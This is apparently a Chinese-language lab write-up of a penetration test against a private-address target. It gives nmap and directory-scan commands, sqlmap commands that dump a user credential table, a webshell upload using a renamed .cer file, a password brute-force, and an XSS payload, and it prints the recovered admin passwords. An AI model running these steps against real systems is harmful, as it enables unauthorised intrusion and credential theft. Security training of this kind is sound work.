渗透测试
端口探测
原理
记不起来了,反正考试考过的。
步骤
使用nmap扫描“172.16.43.117”,指令如下,sV参数表示获取端口的服务和版本,O参数表示获取主机系统。
1
nmap -O -sV 172.16.43.117
发现8010端口和8011端口比较邪乎,就从这里入,分析如下。
1
2
3
4
5
6
7
88010端口:
服务器:Windows_Server_2012
中间件:Apache2.2.21
服务:http
8011端口:
服务器:Windows_Server_2012
中间件:IIS 6.0
服务:http入侵手法分析
1
2
3
4
5
6
71. 针对服务器系统漏洞入侵
2. 针对HTTP服务入侵
1. XSS
2. SQL注入,获取管理员密码
3. 文件上传漏洞,传入webshell
4. 后台爆破
3. 针对中间件入侵
目录扫描
原理
利用人类对网站目录取名的特点(简单明了)以及网站源码目录的收集,对目标网站的目录进行枚举访问,根据服务器返回的状态,判断该路径是否存在。常用于寻找网站后台路径。
步骤
Linux下载工具
1
git clone https://gitee.com/orangice/webdirscan.git
对8011端口网站的路径进行扫描
1
2cd webdirscan
./webdirscan.py -d ./dict/dict.txt 172.16.43.117:8011分析扫描结果,可知后台路径:http://172.16.43.117:8011/admin/login.asp,至于账号和密码,采用接下来的SQL注入来获取。
SQL注入漏洞
原理
脚本文件直接将提交的参数拼接到数据库查询语句后面,导致用户可以自定义SQL查询语句。
步骤
Linux下载sqlmap,kali自带。
1
2git clone --depth 1 https://gitee.com/orangice/sqlmap.git sqlmap
cd sqlmap打开8011端口的网站,发现两个可能存在的注入点如下,用sqlmap验证,发现Product.asp可以爆出存放用户信息的eims_User表,探测步骤从第三步开始。
1
http://172.16.43.117:8011/Product.asp?SortID=6&ItemID=9
1
http://172.16.43.117:8011/News.asp?SortID=1&ItemID=46
探测数据库
1
./sqlmap.py -u "http://172.16.43.117:8011/Product.asp?SortID=6&ItemID=9"
Test_EIMS数据库看起来有点怪,就它了,查看该数据库的表。
1
./sqlmap.py -u "http://172.16.43.117:8011/Product.asp?SortID=6&ItemID=9" -D Test_EIMS --tables
发现eims_User表比较显眼,查看该表的数据如下。
1
./sqlmap.py -u "http://172.16.43.117:8011/Product.asp?SortID=6&ItemID=9" -D Test_EIMS -T eims_User -C "Item1, Item2" --dump
Item1列为用户名,Item2列为对应的密码(密码经过MD5加密),解密网站:点我。
登录后台:http://172.16.43.117:8011/admin/login.asp
1
2用户名:admin
密码:043817a99)
文件上传漏洞
原理
对文件上传类型限制不严格,导致用户可以上传一个可执行的脚本文件,如果该脚本含有恶意的代码,在浏览器访问这个文件时,服务器就会运行该脚本。建议采用白名单限制,文件标识检测等。
步骤
登录8011端口后台页面后,发现文件上传点。
在linux下下载webshell,下载链接,下载之后解压并修改后缀asp为cer,然后上传。上传成功后,会显示如下路径。访问这个路径,就能进入webshell。
访问cer,可进入webshell界面,输入密码:mumaasp.com。
后台爆破
原理
后台对登录没有限制,比如无验证码、无账户锁定策略(登录失败后不限制该账户的登录)等,导致用户可以无限制尝试登录,从而枚举密码。
8010端口后台爆破
对主机http://172.16.43.117:8010进行目录扫描,可获知后台路径:http://172.16.43.117:8010/admin/login.php。输入admin用户后,随便输入一个密码,会提示密码错误,之后随便输入一个用户名和密码,会弹出用户名错误,由此可猜测存在admin这个用户,由于没有验证码的限制因此可以采用暴力破解枚举admin的密码。
发现登录没有验证码,可考虑用burpsuite对admin账户爆破,如果需要详细爆破步骤:请百度。
得到账户信息如下
1
2用户名:admin
密码:amanda
XSS漏洞
原理
没有对用户提交的内容进行过滤,导致用户可以在提交的信息中嵌入浏览器可执行的代码,当某些页面要显示这些信息时,浏览器会解析信息中的代码。
步骤
通过目录扫描可知8010端口的后台路径,利用爆破得到的用户名和密码登录8010端口后台后,找到如下界面,输入如下htlml代码,点击提交。仔细看图。
1
<script>alert("hello")</script>
提交之后访问任意一个8010端口的页面,会弹出如下框框。